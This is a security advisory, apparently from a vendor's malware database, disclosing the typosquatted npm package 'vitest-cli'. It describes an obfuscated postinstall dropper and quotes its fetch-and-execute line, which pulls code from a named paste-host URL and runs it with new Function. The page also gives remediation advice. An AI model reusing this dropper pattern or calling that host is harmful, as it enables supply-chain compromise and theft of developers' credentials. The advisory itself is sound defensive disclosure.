Meet Corgea at Black Hat, BSides Las Vegas & DEF CON
CRITICAL npm Malware

Malicious code in vitest-cli (npm)

MAL-2026-6267 · GHSA-c35r-fwrq-cgq9

Published · Modified

Description


__

Source: amazon-inspector (27abcc7f2373309feb253b0cc48b1a8bae7c54a3c43aed0c57add697f4067aba)

Package name vitest-cli impersonates the official Vitest project while declaring empty author, homepage, repository, and bugs metadata. The package.json declares scripts.postinstall: node scripts/postinstall.js, which auto-runs on every npm install. The postinstall reaches lib/postinstall/index.js line 23, which evaluates a P.A.C.K.E.R.-obfuscated blob via eval((function(p,a,c,k,e,d){...})(...)). Once decoded, the payload calls axios.get('https://jsonkeeper.com/external/W33XO') and executes the response's data.cookie field with new Function('require', r.data.cookie)(require), retrying up to three times with 10-minute delays. jsonkeeper.com is an anonymous, mutable JSON paste host — the publisher can swap the executed bytes at any time without republishing the package. The thin wrapper around this dropper merely locates an installed vitest and spawns it as cover. Installer impact: arbitrary attacker-controlled JavaScript runs with full Node privileges on every developer machine and CI runner that installs this package, with access to environment variables, source trees, and credentials reachable from the install context. The combination of a typosquat name against a popular target, empty publisher metadata, P.A.C.K.E.R. obfuscation of the network+exec payload, mutable-paste-host fetch URL, and direct new Function execution of the response body is an unambiguous supply-chain attack.

Source: ghsa-malware (965bb2e5371c6561cacd40167a0ec3b097441cce0f854fc0c981ca07d007d139)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Ready to move

Start Securing

Free, no credit card | First findings in minutes